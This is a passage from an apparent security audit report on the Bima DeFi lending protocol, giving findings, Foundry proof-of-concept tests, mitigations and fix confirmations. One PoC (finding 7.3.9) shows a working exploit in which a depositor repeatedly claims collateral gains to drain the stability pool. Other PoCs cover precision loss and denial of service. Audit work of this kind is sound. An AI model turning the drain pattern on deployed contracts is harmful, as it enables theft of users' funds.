    assertEq(babelVault.totalUpdateWeek(), systemWeek);

    // verify unallocated supply reduced by weekly emission percent
    uint256 firstWeekEmissions = initialUnallocated*INIT_ES_WEEKLY_PCT/MAX_PCT;
    assertTrue(firstWeekEmissions > 0);
    uint256 remainingUnallocated = initialUnallocated - firstWeekEmissions;
    assertEq(babelVault.unallocatedTotal(), remainingUnallocated);

    // verify emissions correctly set for current week
    assertEq(babelVault.weeklyEmissions(systemWeek), firstWeekEmissions);

    // verify BabelVault::lockWeeks reduced correctly
    assertEq(babelVault.lockWeeks(), INIT_ES_LOCK_WEEKS-INIT_ES_LOCK_DECAY_WEEKS);

    // verify receiver active and last processed week = system week
    (, bool isActive, uint16 updatedWeek) = babelVault.idToReceiver(RECEIVER_ID);
    assertEq(isActive, true);
    assertEq(updatedWeek, systemWeek);

    // receiver2 calls allocateNewEmissions
    vm.prank(receiver2);
    uint256 allocated2 = babelVault.allocateNewEmissions(RECEIVER2_ID);

    // verify most things remain the same
    assertEq(babelVault.totalUpdateWeek(), systemWeek);
    assertEq(babelVault.unallocatedTotal(), remainingUnallocated);
    assertEq(babelVault.weeklyEmissions(systemWeek), firstWeekEmissions);
    assertEq(babelVault.lockWeeks(), INIT_ES_LOCK_WEEKS-INIT_ES_LOCK_DECAY_WEEKS);

    // verify receiver2 active and last processed week = system week
    (, isActive, updatedWeek) = babelVault.idToReceiver(RECEIVER2_ID);
    assertEq(isActive, true);
    assertEq(updatedWeek, systemWeek);

    // verify that the recorded first week emissions is equal to
    // the amounts allocated to both receivers
    // fails here
    // firstWeekEmissions    = 536870911875000000000000000
    // allocated+allocated2 = 536870911874999999463129087
    assertEq(firstWeekEmissions, allocated + allocated2);
}
```

Recommended Mitigation: Replace `IncentiveVoting::getReceiverVotePct` with a new function `getReceiverVoteInputs` which doesn't perform any division but rather returns the inputs to the calculation:

```
function getReceiverVoteInputs(uint256 id, uint256 week) external
returns (uint256 totalWeeklyWeight, uint256 receiverWeeklyWeight) {
    // lookback one week
    week -= 1;

    // update storage - id & total weights for any
    // missing weeks up to current system week
    getReceiverWeightWrite(id);
    getTotalWeightWrite();

    // output total weight for lookback week
    totalWeeklyWeight = totalWeeklyWeights[week];
    // if not zero, also output receiver weekly weight
    if(totalWeeklyWeight != 0) {
        receiverWeeklyWeight = receiverWeeklyWeights[id][week];
    }
}
```

Change `EmissionSchedule::getReceiverWeeklyEmissions` to use the new function:

```
function getReceiverWeeklyEmissions(
    uint256 id,
    uint256 week,
    uint256 totalWeeklyEmissions
) external returns (uint256 amount) {
    // get vote calculation inputs from IncentiveVoting
    (uint256 totalWeeklyWeight, uint256 receiverWeeklyWeight)
        = voter.getReceiverVoteInputs(id, week);

    // if there was weekly weight, calculate the amount
    // otherwise default returns 0
    if(totalWeeklyWeight != 0) {
        amount = totalWeeklyEmissions * receiverWeeklyWeight / totalWeeklyWeight;
    }
}
```

In the provided PoC this reduces the precision loss to only 1 wei:

```
assertEq(firstWeekEmissions,     536870911875000000000000000);
assertEq(allocated + allocated2, 536870911874999999999999999);
```

Bima: Fixed in commit 3903717.

Cyfrin: Verified.

7.3.9 `StabilityPool::claimCollateralGains` should accrue depositor collateral gains before claiming

Description: `StabilityPool::claimCollateralGains` reads `collateralGainsByDepositor[msg.sender]` for each collateral to send users their gains.

However there is no call to `_accrueDepositorCollateralGain` which updates `collateralGainsByDepositor` with any new gains.

Impact: When calling `StabilityPool::claimCollateralGains` the user will not receive all the gains they were expecting. If the user realizes this they can trigger another action that calls `_accrueDepositorCollateralGain` before claiming to get their gains so at least the gains are not permanently lost - but the user may not even realize they didn't receive all the gains they were entitled to.

Recommended Mitigation: `StabilityPool::claimReward` should be made `public` instead of `external` and `claimCollateralGains` should call it prior to the remaining processing.

Prisma Finance fixed this by having `claimCollateralGains` directly call `_accrueDepositorCollateralGain` but we found this resulted in a critical exploit that would allow an attacker to drain collateral tokens from the stability pool. Add the exploit PoC to LiquidationManagerTest.t.sol:

```
function test_attackerDrainsStabilityPoolCollateralTokens() external {
    // user1 and user 2 both deposit 10K into the stability pool
    uint96 spDepositAmount = 10_000e18;
    _provideToSP(users.user1, spDepositAmount, 1);
    _provideToSP(users.user2, spDepositAmount, 1);
```

```
// user1 opens a trove using 1 BTC collateral (price = $60,000 in MockOracle)
uint256 collateralAmount = 1e18;
uint256 debtAmountMax = _getMaxDebtAmount(collateralAmount);

_openTrove(users.user1, collateralAmount, debtAmountMax);

// set new value of btc to $50,000 to make trove liquidatable
mockOracle.setResponse(mockOracle.roundId() + 1,
                       int256(50000 * 10 ** 8),
                       block.timestamp + 1,
                       block.timestamp + 1,
                       mockOracle.answeredInRound() + 1);
// warp time to prevent cached price being used
vm.warp(block.timestamp + 1);

// save previous state
LiquidationState memory statePre = _getLiquidationState(users.user1);

// both users deposits in the stability pool
assertEq(statePre.stabPoolTotalDebtTokenDeposits, spDepositAmount * 2);

// liquidate via `liquidate`
liquidationMgr.liquidate(stakedBTCTroveMgr, users.user1);

// save after state
LiquidationState memory statePost = _getLiquidationState(users.user1);

// verify trove owners count decreased
assertEq(statePost.troveOwnersCount, statePre.troveOwnersCount - 1);

// verify correct trove status
assertEq(uint8(stakedBTCTroveMgr.getTroveStatus(users.user1)),
         uint8(ITroveManager.Status.closedByLiquidation));

// user1 after state all zeros
assertEq(statePost.userDebt, 0);
assertEq(statePost.userColl, 0);
assertEq(statePost.userPendingDebtReward, 0);
assertEq(statePost.userPendingCollateralReward, 0);

// verify total active debt & collateral reduced by liquidation
assertEq(statePost.totalDebt, statePre.totalDebt - debtAmountMax - INIT_GAS_COMPENSATION);
assertEq(statePost.totalColl, statePre.totalColl - collateralAmount);

// verify stability pool debt token deposits reduced by amount used to offset liquidation
uint256 userDebtPlusPendingRewards = statePre.userDebt + statePre.userPendingDebtReward;
uint256 debtToOffsetUsingStabilityPool = BabelMath._min(userDebtPlusPendingRewards,
                                                        statePre.stabPoolTotalDebtTokenDeposits);

// verify default debt calculated correctly
assertEq(statePost.stabPoolTotalDebtTokenDeposits,
         statePre.stabPoolTotalDebtTokenDeposits - debtToOffsetUsingStabilityPool);
assertEq(stakedBTCTroveMgr.defaultedDebt(),
         userDebtPlusPendingRewards - debtToOffsetUsingStabilityPool);

// calculate expected collateral to liquidate
uint256 collToLiquidate = statePre.userColl - _getCollGasCompensation(statePre.userColl);

// calculate expected collateral to send to stability pool
uint256 collToSendToStabilityPool = collToLiquidate *
                                    debtToOffsetUsingStabilityPool /
                                    userDebtPlusPendingRewards;
```

```
    // verify defaulted collateral calculated correctly
    assertEq(stakedBTCTroveMgr.defaultedCollateral(),
            collToLiquidate - collToSendToStabilityPool);

    assertEq(stakedBTCTroveMgr.L_collateral(), stakedBTCTroveMgr.defaultedCollateral());
    assertEq(stakedBTCTroveMgr.L_debt(), stakedBTCTroveMgr.defaultedDebt());

    // verify stability pool received collateral tokens
    assertEq(statePost.stabPoolStakedBTCBal, statePre.stabPoolStakedBTCBal + collToSendToStabilityPool);

    // verify stability pool lost debt tokens
    assertEq(statePost.stabPoolDebtTokenBal, statePre.stabPoolDebtTokenBal -
    ↪  debtToOffsetUsingStabilityPool);

    // no TroveManager errors
    assertEq(stakedBTCTroveMgr.lastCollateralError_Redistribution(), 0);
    assertEq(stakedBTCTroveMgr.lastDebtError_Redistribution(), 0);

    // user1 and user2 are both stability pool depositors so they
    // gain an equal share of the collateral sent to the stability pool
    // (at least in our PoC with simple whole numbers)
    uint256 collateralGainsPerUser = collToSendToStabilityPool / 2;

    uint256[] memory user1CollateralGains = stabilityPool.getDepositorCollateralGain(users.user1);
    assertEq(user1CollateralGains.length, 1);
    assertEq(user1CollateralGains[0], collateralGainsPerUser);

    uint256[] memory user2CollateralGains = stabilityPool.getDepositorCollateralGain(users.user2);
    assertEq(user2CollateralGains.length, 1);
    assertEq(user2CollateralGains[0], collateralGainsPerUser);

    // user2 claims their gains
    assertEq(stakedBTC.balanceOf(users.user2), 0);
    uint256[] memory collateralIndexes = new uint256[](1);
    collateralIndexes[0] = 0;
    vm.prank(users.user2);
    stabilityPool.claimCollateralGains(users.user2, collateralIndexes);
    assertEq(stakedBTC.balanceOf(users.user2), collateralGainsPerUser);
    assertEq(stakedBTC.balanceOf(address(stabilityPool)), statePost.stabPoolStakedBTCBal -
    ↪  collateralGainsPerUser);

    // user2 can immediately claim the same amount again!
    vm.prank(users.user2);
    stabilityPool.claimCollateralGains(users.user2, collateralIndexes);
    assertEq(stakedBTC.balanceOf(users.user2), collateralGainsPerUser * 2);
    assertEq(stakedBTC.balanceOf(address(stabilityPool)), 0);

    // user2 can keep claiming until they drain all the stability pool's
    // collateral tokens - in this case since there were only 2 depositors
    // with equal deposits, the second immediate claim has stolen the collateral
    // tokens that should have gone to user1

    // if user1 tries to claim this reverts since although StabilityPool
    // knows it owes user1 collateral gain tokens, it has been drained!
    vm.expectRevert("ERC20: transfer amount exceeds balance");
    vm.prank(users.user1);
    stabilityPool.claimCollateralGains(users.user2, collateralIndexes);
}
```

Run with: forge test --match-test test_attackerDrainsStabilityPoolCollateralTokens

Bima: Fixed in commit c3fc3e5.

Cyfrin: Verified.

7.3.10 StabilityPool::claimableReward incorrectly returns lower than actual value as it doesn't include storedPendingReward

Description: StabilityPool::claimableReward is an external view function that can be used to show users their pending reward. However it doesn't include the amount inside storedPendingReward[_depositor] hence it will report a lower than true value.

Compare to StabilityPool::_claimReward which is used to actually claim the reward which does include storedPendingReward[account] into the total claimed reward.

Impact: User is told they have less rewards pending than they actually do.

Recommended Mitigation: StabilityPool::claimableReward should include storedPendingReward[_depositor] into the total reward amount it returns.

Bima: Fixed in commit 0de27a0.

Cyfrin: Verified.

7.3.11 StabilityPool user functions panic revert if more than 256 collaterals are enabled

Description: StabilityPool has a number of mappings where the value component is an array with length 256:

```
mapping(address depositor => uint256[256] deposits) public depositSums;
mapping(address depositor => uint80[256] gains) public collateralGainsByDepositor;
mapping(uint128 epoch => mapping(uint128 scale => uint256[256] sumS)) public epochToScaleToSums;
mapping(uint128 epoch => mapping(uint128 scale => uint256 sumG)) public epochToScaleToG;
```

There are a number of internal functions which iterate over every collateral then update these arrays, eg:

```
function _updateSnapshots(address _depositor, uint256 _newValue) internal {
    uint256 length;
    if (_newValue == 0) {
        delete depositSnapshots[_depositor];

        length = collateralTokens.length;
        for (uint256 i; i < length; i++) {
            // @audit will panic revert if >= 257 collaterals are enabled
            depositSums[_depositor][i] = 0;
        }
```

Additionally StabilityPool::enableCollateral has no limit on the maximum amount of collaterals which can be added.

Impact: User functions panic revert and the protocol becomes unusable. Since StabilityPool::collateralTokens can never have members removed but only over-written, the protocol is permanently bricked.

Proof of Concept: Add the PoC function to test/foundry/core/StabilityPoolTest.sol:

```
function test_provideToSP_panicWhen257Collaterals() external {
    for(uint160 i=1; i<=256; i++) {
        address newCollateral = address(i);

        vm.prank(address(factory));
        stabilityPool.enableCollateral(IERC20(newCollateral));
    }

    assertEq(stabilityPool.getNumCollateralTokens(), 257);

    // mint user1 some tokens
    uint256 tokenAmount = 100e18;
    vm.prank(address(borrowerOps));
    debtToken.mint(users.user1, tokenAmount);
    assertEq(debtToken.balanceOf(users.user1), tokenAmount);

    // user1 deposits them into stability pool
    vm.prank(users.user1);
    stabilityPool.provideToSP(tokenAmount);
    // fails with panic: array out-of-bounds access
}
```

Run with: `forge test --match-test test_provideToSP_panicWhen257Collaterals`

Recommended Mitigation: Firstly use a named constant which indicates purpose instead of the hard-coded literal 256.

Secondly prevent `StabilityPool::enableCollateral` from adding more than 256 collaterals.

Bima: Fixed in commit 73c1dfd.

Cyfrin: Verified.

7.3.12 `setGuardian` proposals may incorrectly set lower passing percent if current default is greater than hard-coded value for guardian proposals

Description: `AdminVoting::createNewProposal` has a check that for `setGuardian` proposals it always uses the hard-coded `SET_GUARDIAN_PASSING_PCT` as the passing percent:

```
if (_containsSetGuardianPayload(payload.length, payload)) {
    // prevent changing guardians during bootstrap period
    require(block.timestamp > startTime + BOOTSTRAP_PERIOD, "Cannot change guardian during bootstrap");

    // enforce 50.1% majority for setGuardian proposals
    proposalPassPct = SET_GUARDIAN_PASSING_PCT;
}
// otherwise for ordinary proposals enforce standard configured passing %
else proposalPassPct = passingPct;
```

The idea is that `setGuardian` proposals are very sensitive proposals and hence should require a 50.1% majority to pass, while other proposals are less sensitive and hence can be passed with a lower proposal percent.

However if the DAO decides to change the default passing percent to be greater than `SET_GUARDIAN_PASSING_PCT`, then `setGuardian` proposals would be created with a lower passing percent than ordinary proposals which is contrary to what is intended.

While setting `proposalPassPct` for a `setGuardian` proposal, we just use `SET_GUARDIAN_PASSING_PCT = 50.1%` without considering the current `passingPct`. It might be dangerous when `passingPct` is greater than `50.1%` due to any unexpected reason.

Recommended Mitigation: For `setGuardian` proposals, set the passing percent to whichever is greater of the currently configured passing percent and the hard-coded `SET_GUARDIAN_PASSING_PCT`:

```
- proposalPassPct = SET_GUARDIAN_PASSING_PCT;
+ proposalPassPct = BabelMath._max(SET_GUARDIAN_PASSING_PCT, passingPct);
```

Bima: Fixed in commit 7642dc1.

Cyfrin: Verified.

7.3.13 Prevent panic from division by zero in `BabelBase::_requireUserAcceptsFee`

Description: Prevent panic from division by zero in `BabelBase::_requireUserAcceptsFee`:

```
function _requireUserAcceptsFee(uint256 _fee, uint256 _amount, uint256 _maxFeePercentage) internal pure
↪   {
+   require(_amount > 0, "Amount must be greater than zero");
    uint256 feePercentage = (_fee * BIMA_DECIMAL_PRECISION) / _amount;
    require(feePercentage <= _maxFeePercentage, "Fee exceeded provided maximum");
}
```

Bima: Fixed in commit fe67023.

Cyfrin: Verified.

7.3.14 `TokenLocker::withdrawWithPenalty` doesn't reset account bitfield when dust handling results in no remaining locked tokens

Description: When users withdraw their locked tokens using `TokenLocker::withdrawWithPenalty`, if after the dust handling the user has no remaining locked tokens then the account's `bitfield` is not correctly reset.

Impact: Storage reaches an inconsistent state where `TokenLocker` believes that user as an active lock even though the user has 0 tokens locked. This inconsistent state can spread to `IncentiveVoting` if the user then registers their non-existent account weight. Beyond the inconsistent state there doesn't appear to be a way to further leverage this to do more damage.

Proof of Concept: Add the PoC function to `test/foundry/dao/TokenLockerTest.t.sol`:

```
function test_withdrawWithPenalty_activeLockWithZeroLocked() external {
    uint256 amountToLock = 100;
    uint256 weeksToLockFor = 20;

    // first enable penalty withdrawals
    test_setPenaltyWithdrawalsEnabled(0, true);

    // save user initial balance
    uint256 userPreTokenBalance = babelToken.balanceOf(users.user1);

    // perform the lock
    (uint256 lockedAmount, uint256 weeksLockedFor) = test_lock(amountToLock, weeksToLockFor);
    // verify the lock result
    assertEq(lockedAmount, 100);
    assertEq(weeksLockedFor, 20);

    // verify user has received weight in the current week
    uint256 week = tokenLocker.getWeek();
    assertTrue(tokenLocker.getAccountWeightAt(users.user1, week) != 0);

    // perform the withdraw with penalty
    vm.prank(users.user1);
    uint256 amountToWithdraw = 61;
    tokenLocker.withdrawWithPenalty(amountToWithdraw);

    // calculate expected penaltyOnAmount = 61 * 1e18 * (52 - 32) / 32 = 38.125e18
    // so amountToWithdraw + penaltyOnAmount = 99.125e18 and will be 100 after handling dust
    // https://github.com/Bima-Labs/bima-v1-core/blob/main/contracts/dao/TokenLocker.sol#L1080

    // verify account's weight was reset
    assertEq(tokenLocker.getAccountWeightAt(users.user1, week), 0);

    // verify total weight was reset
    assertEq(tokenLocker.getTotalWeight(), 0);

    // getAccountActiveLocks incorrectly shows user still has an active lock
    (ITokenLocker.LockData[] memory activeLockData, uint256 frozenAmount)
        = tokenLocker.getAccountActiveLocks(users.user1, weeksToLockFor);

    assertEq(activeLockData.length, 1); // 1 active lock
    assertEq(frozenAmount, 0);
    assertEq(activeLockData[0].amount, 0); // 0 locked amount
    assertEq(activeLockData[0].weeksToUnlock, weeksToLockFor);

    // user can register with IncentiveVoting even though they have no
    // tokens locked
    vm.prank(users.user1);
    incentiveVoting.registerAccountWeight(users.user1, weeksToLockFor);

    (uint256 frozenWeight, ITokenLocker.LockData[] memory lockData)
        = incentiveVoting.getAccountRegisteredLocks(users.user1);
    assertEq(frozenWeight, 0);
    assertEq(lockData.length, 1);
    assertEq(lockData[0].amount, 0); // 0 locked amount
    assertEq(lockData[0].weeksToUnlock, weeksToLockFor);

    // this results in an inconsistent state but there doesn't appear
    // to be any way to further exploit this state since the locked
    // amount is zero
}
```

Run with: `forge test --match-test test_withdrawWithPenalty_activeLockWithZeroLocked`

Recommended Mitigation: `TokenLocker::withdrawWithPenalty` should reset the `bitfield` in case where the dust handling results in the user having no remaining tokens locked:

```
        if (lockAmount - penaltyOnAmount > remaining) {
            // then recalculate the penalty using only the portion of the lock
            // amount that will be withdrawn
            penaltyOnAmount = (remaining * MAX_LOCK_WEEKS) / (MAX_LOCK_WEEKS - weeksToUnlock) - remaining;

            // add any dust to the penalty amount
            uint256 dust = ((penaltyOnAmount + remaining) % lockToTokenRatio);
            if (dust > 0) penaltyOnAmount += lockToTokenRatio - dust;

            // update memory total penalty
            penaltyTotal += penaltyOnAmount;

            // calculate amount to reduce lock as penalty + withdrawn amount,
            // scaled down by lockToTokenRatio as those values were prev scaled up by this
            uint256 lockReduceAmount = (penaltyOnAmount + remaining) / lockToTokenRatio;

            // update memory total voting weight reduction
            decreasedWeight += lockReduceAmount * weeksToUnlock;

            // update storage to decrease week's future unlocks
            accountWeeklyUnlocks[msg.sender][systemWeek] -= SafeCast.toUint32(lockReduceAmount);
            totalWeeklyUnlocks[systemWeek] -= SafeCast.toUint32(lockReduceAmount);
```

```
+        if (accountWeeklyUnlocks[msg.sender][systemWeek] == 0) {
+            bitfield = bitfield & ~(uint256(1) << (systemWeek % 256));
+         }

          // nothing remaining to be withdrawn
          remaining = 0;
      }
```

Bima: Fixed in commit 1463ba2.

Cyfrin: Verified.

7.3.15 `TroveManager::redeemCollateral` can return less collateral tokens than expected due to rounding down to zero precision loss

Description: When a user calls `TroveManager::redeemCollateral` with a large enough debt amount such that the:

- first trove is completely exhausted and closed
- remaining debt amount used in the second trove is small

A rounding down to zero precision loss occurs at the collateral calculation:

```
singleRedemption.collateralLot = (singleRedemption.debtLot * BIMA_DECIMAL_PRECISION) / _price;
```

This causes the user to receive no collateral for the remaining debt amount even though it is used to reduce the next trove's debt.

Impact: `TroveManager::redeemCollateral` can return less collateral tokens than expected due to rounding down to zero precision loss.

Proof of Concept: Add PoC to `test/foundry/core/BorrowerOperationsTest.t.sol`:

```
function test_redeemCollateral_noCollateralForRemainingAmount() external {
    // fast forward time to after bootstrap period
    vm.warp(stakedBTCTroveMgr.systemDeploymentTime() + stakedBTCTroveMgr.BOOTSTRAP_PERIOD());

    // update price oracle response to prevent stale revert
    mockOracle.setResponse(mockOracle.roundId() + 1,
                           mockOracle.answer(),
                           mockOracle.startedAt(),
                           block.timestamp,
                           mockOracle.answeredInRound() + 1);

    // user1 opens a trove with 2 BTC collateral for their max borrowing power
    uint256 collateralAmount = 1e18;

    uint256 debtAmountMax
        = ((collateralAmount * _getScaledOraclePrice() / borrowerOps.CCR())
          - INIT_GAS_COMPENSATION);

    _openTrove(users.user1, collateralAmount, debtAmountMax);

    // user2 opens a trove with 2 BTC collateral for their max borrowing power
    _openTrove(users.user2, collateralAmount, debtAmountMax);

    // mint user3 enough debt tokens such that they will close
    // user1's trove and attempt to redeem part of user2's trove,
    // but the second amount is small enough to trigger a rounding
    // down to zero precision loss in the `singleRedemption.collateralLot`
    // calculation
    uint256 debtToSend = debtAmountMax + 59_999;

    // save a snapshot state before redeem
    uint256 snapshotPreRedeem = vm.snapshot();

    vm.prank(address(borrowerOps));
    debtToken.mint(users.user3, debtToSend);
    assertEq(debtToken.balanceOf(users.user3), debtToSend);
    assertEq(stakedBTC.balanceOf(users.user3), 0);

    // user3 exchanges their debt tokens for collateral
    uint256 maxFeePercent = stakedBTCTroveMgr.maxRedemptionFee();

    vm.prank(users.user3);
    stakedBTCTroveMgr.redeemCollateral(debtToSend,
                                       users.user1, address(0), address(0), 3750000000000000, 0,
                                       maxFeePercent);

    // verify user3 has no debt tokens
    assertEq(debtToken.balanceOf(users.user3), 0);

    // verify user3 received some collateral tokens
    uint256 user3ReceivedCollateralFirst = stakedBTC.balanceOf(users.user3);
    assertTrue(user3ReceivedCollateralFirst > 0);

    // now rewind to snapshot before redeem
    vm.revertTo(snapshotPreRedeem);

    // this time do just enough to close the first trove, without the excess 59_999
    debtToSend = debtAmountMax;

    vm.prank(address(borrowerOps));
    debtToken.mint(users.user3, debtToSend);
    assertEq(debtToken.balanceOf(users.user3), debtToSend);
    assertEq(stakedBTC.balanceOf(users.user3), 0);

    vm.prank(users.user3);
    stakedBTCTroveMgr.redeemCollateral(debtToSend,
                                       users.user1, address(0), address(0), 3750000000000000, 0,
                                       maxFeePercent);

    // verify user3 has no debt tokens
    assertEq(debtToken.balanceOf(users.user3), 0);

    // verify user3 received some collateral tokens
    uint256 user3ReceivedCollateralSecond = stakedBTC.balanceOf(users.user3);
    assertTrue(user3ReceivedCollateralSecond > 0);

    // user3 received the same amount of collateral tokens, even though
    // they redeemed less debt tokens than the first time
    assertEq(user3ReceivedCollateralSecond, user3ReceivedCollateralFirst);
}
```

Run with: `forge test --match-test test_redeemCollateral_noCollateralForRemainingAmount`

Recommended Mitigation: `TroveManager::_redeemCollateralFromTrove` should return with `singleRedemption.cancelledPartial = true;` when this rounding down to zero occurs:

```
                if (
                    icrError > 5e14 ||
+                   singleRedemption.collateralLot == 0 ||
                    _getNetDebt(newDebt) < IBorrowerOperations(borrowerOperationsAddress).minNetDebt()
                ) {
                    singleRedemption.cancelledPartial = true;
                    return singleRedemption;
                }
```

Bima: Fixed in commit a6a05fe.

Cyfrin: Verified.

7.3.16 `StabilityPool` should use per-collateral rounding error compensation

Description: Prisma fixed this in commit 0915dd4 noting that *"prior to this commit, owed collateral can deviate by dust amounts. In some cases, the last user to claim collaterals could have their call revert."*

Recommended Mitigation: Implement the fix per Prisma's patch.

Bima: Fixed in commit d437ff5.

Cyfrin: Verified.

7.3.17 `StabilityPool` reward calculation loses small amounts of vault emission rewards

Description: `StabilityPool` can earn token emission rewards from `BabelVault` if users vote for it to do so, and these rewards are distributed to users who deposit into `StabilityPool`. The mechanism for calculating depositors' reward share appears to result in small amounts of lost token emissions.

Impact: Not all the weekly token emissions allocated to `StabilityPool` get distributed to depositors; small amounts are never distributed and effectively lost.

Proof of Concept: Add the PoC to `test/foundry/core/StabilityPoolTest.t.sol`:

```
function test_claimReward_smallAmountOfStabilityPoolRewardsLost() external {
    // setup vault giving user1 half supply to lock for voting power
    uint256 initialUnallocated = _vaultSetupAndLockTokens(INIT_BAB_TKN_TOTAL_SUPPLY/2);

    // user votes for stability pool to get emissions
    IIncentiveVoting.Vote[] memory votes = new IIncentiveVoting.Vote[](1);
    votes[0].id = stabilityPool.SP_EMISSION_ID();
    votes[0].points = incentiveVoting.MAX_POINTS();

    vm.prank(users.user1);
    incentiveVoting.registerAccountWeightAndVote(users.user1, 52, votes);

    // user1 and user 2 both deposit 10K into the stability pool
    uint96 spDepositAmount = 10_000e18;
    _provideToSP(users.user1, spDepositAmount, 1);
    _provideToSP(users.user2, spDepositAmount, 1);

    // warp time by 1 week
    vm.warp(block.timestamp + 1 weeks);

    // calculate expected first week emissions
    uint256 firstWeekEmissions = initialUnallocated*INIT_ES_WEEKLY_PCT/BIMA_100_PCT;
    assertTrue(firstWeekEmissions > 0);
    assertEq(babelVault.unallocatedTotal(), initialUnallocated);

    uint16 systemWeek = SafeCast.toUint16(babelVault.getWeek());

    // no rewards in the same week as emissions
    vm.prank(users.user1);
    uint256 userReward = stabilityPool.claimReward(users.user1);
    assertEq(userReward, 0);

    // verify emissions correctly set in BabelVault for first week
    assertEq(babelVault.weeklyEmissions(systemWeek), firstWeekEmissions);

    // warp time by 1 week
    vm.warp(block.timestamp + 1 weeks);

    // rewards for the first week can be claimed now
    vm.prank(users.user1);
    userReward = stabilityPool.claimReward(users.user1);

    // verify user1 receives half of the emissions
    assertEq(firstWeekEmissions/2, 268435455937500000000000000);
    assertEq(userReward,           268435455937499999999890000);

    // user 2 claims their reward
    vm.prank(users.user2);
    userReward = stabilityPool.claimReward(users.user2);
    assertEq(userReward,           268435455937499999999890000);

    // firstWeekEmissions = 536870911875000000000000000
    // userReward * 2     = 536870911874999999999780000
    //
    // a small amount of rewards was not distributed and is effectively lost
}
```

Run with: `forge test --match-contract StabilityPoolTest --match-test test_claimReward_smallAmountOfStabilityPoolRewardsLost -vvv`

Recommended Mitigation: This issue was found towards the end of the audit when filling in missing test suite coverage so the cause has not yet been determined and remains for the protocol team to investigate using the test suite.

Bima: Acknowledged.

7.4 Informational

7.4.1 Avoid floating pragma unless creating libraries

Description: Per SWC-103 compiler versions in pragmas should be fixed unless creating libraries. Choose a specific compiler version to use for development, testing and deployment, eg:

```
- pragma solidity ^0.8.19;
+ pragma solidity 0.8.19;
```

Bima: Fixed in commit 171dacf.

Cyfrin: Resolved.

7.4.2 Use named imports instead of importing the entire namespace

Description: Use named imports as they offer a number of advantages compared to importing the entire namespace.

Bima: Fixed in commits 171dacf and 854a54e.

Cyfrin: Verified.

7.4.3 Use explicit `uint256` instead of generic `uint`

Description: Use explicit `uint256` instead of generic `uint`:

```
core/LiquidationManager.sol
163:        uint debtInStabPool = stabilityPoolCached.getTotalDebtTokenDeposits();
167:            uint ICR = troveManager.getCurrentICR(account, troveManagerValues.price);
192:            (uint entireSystemColl, uint entireSystemDebt) =
↪   borrowerOperations.getGlobalSystemBalances();
198:                uint ICR = troveManager.getCurrentICR(nextAccount, troveManagerValues.price);
279:        uint debtInStabPool = stabilityPoolCached.getTotalDebtTokenDeposits();
283:        uint troveCount = troveManager.getTroveOwnersCount();
284:        uint length = _troveArray.length;
285:        uint troveIter;
291:            uint ICR = troveManager.getCurrentICR(account, troveManagerValues.price);
320:                uint ICR = troveManager.getCurrentICR(account, troveManagerValues.price);
402:        uint pendingDebtReward;
403:        uint pendingCollReward;
455:        uint entireTroveDebt;
456:        uint entireTroveColl;
457:        uint pendingDebtReward;
458:        uint pendingCollReward;
508:        uint pendingDebtReward;
509:        uint pendingCollReward;

interfaces/IGaugeController.sol
5:    function vote_for_gauge_weights(address gauge, uint weight) external;

interfaces/ILiquidityGauge.sol
7:    function withdraw(uint value) external;

interfaces/IBoostDelegate.sol
26:        uint amount,
27:        uint previousAmount,
28:        uint totalWeeklyEmissions
45:        uint amount,
46:        uint adjustedAmount,
47:        uint fee,
48:        uint previousAmount,
49:        uint totalWeeklyEmissions

dao/InterimAdmin.sol
90:        uint loopEnd = payload.length;

dao/IncentiveVoting.sol
377:            uint amount = frozenWeight / MAX_LOCK_WEEKS;
```

Bima: Fixed in commit f614678.

Cyfrin: Verified.

7.4.4 Emit events for important parameter changes

Description: Emit events for important parameter changes:

```
Factory::setImplementations

BorrowerOperations::_setMinNetDebt
AirdropDistributor::setClaimCallback, sweepUnclaimedTokens
InterimAdmin::setAdminVoting
TokenLocker::setAllowPenaltyWithdrawAfter, setPenaltyWithdrawalsEnabled
DelegatedOps::setDelegateApproval
CurveProxy::setVoteManager, setDepositManager, setPerGaugeApproval
TroveManager::setPaused, setPriceFeed, startSunset, setParameters, collectInterests
```

Bima: Fixed in commits 97320f4, b8d648a, 6be47c8, 90adcd4, 79b1e07, 6cf3857, 87d56fa

Cyfrin: Verified.

7.4.5 Use named mapping parameters

Description: Solidity 0.8.18 introduced named `mapping` parameters; use this feature for clearer mappings:

```
PriceFeed.sol
StabilityPool.sol

dao/AdminVoting.sol
dao/AllocationVesting.sol
dao/BoostCalculator.sol
dao/IncentiveVoting.sol
dao/TokenLocker.sol
dao/Vault.sol
```

Bima: Fixed in commit 95c0148, 3e68844, 97320f4, 6fb75f8, 6a2bd6e, 6d5c17b, a74cffa, 305c007, fde2016

Cyfrin: Verified.

7.4.6 Incorrect comment regarding the configuration of `DebtToken::FLASH_LOAN_FEE` parameter

Description: `DebtToken::_flashFee` divides by `10000`, hence if `FLASH_LOAN_FEE = 1` then:

```
1/10000 = 0.0001
0.0001 * 100 = 0.01%
```

So the comment indicating that 1 = 0.0001% is incorrect:

```
File: DebtToken.sol
- uint256 public constant FLASH_LOAN_FEE = 9; // 1 = 0.0001%
+ uint256 public constant FLASH_LOAN_FEE = 9; // 1 = 0.01%
```

Bima: Fixed in commit 4ae0be3.

Cyfrin: Verified.

7.4.7 `TokenLocker::withdrawWithPenalty` should revert if nothing is withdrawn

Description: `TokenLocker::withdrawWithPenalty` should revert if nothing is withdrawn by first rejecting zero input:

```
function withdrawWithPenalty(uint256 amountToWithdraw) external notFrozen(msg.sender) returns (uint256)
↪   {
    // penalty withdrawals must be enabled by admin
    require(penaltyWithdrawalsEnabled, "Penalty withdrawals are disabled");

+   // revert on zero input
+   require(amountToWithdraw != 0, "Must withdraw a positive amount");
```

Then after the loop, if the user specified a max withdraw, checking performing a similar check:

```
// if users tried to withdraw as much as possible, then subtract
// the "unfilled" net amount (not inc penalties) from the user input
// which gives the "filled" amount (not inc penalties)
if (amountToWithdraw == type(uint256).max) {
    amountToWithdraw -= remaining;

+   // revert if nothing was withdrawn, eg if user had no locked
+   // tokens but attempted withdraw with input type(uint256).max
+   require(amountToWithdraw != 0, "Must withdraw a positive amount");
}
```

Bima: Fixed in commit b8d648a.

Cyfrin: Verified.

7.4.8 Enforce > 0 passing percent configuration in `AdminVoting::setPassingPct`

Description: Enforce > 0 passing percent configuration in `AdminVoting::setPassingPct`:

```
function setPassingPct(uint256 pct) external returns (bool) {
    // enforce this function can only be called by this contract
    require(msg.sender == address(this), "Only callable via proposal");

-   // restrict max value
-   require(pct <= MAX_PCT, "Invalid value");
+   // restrict min & max value
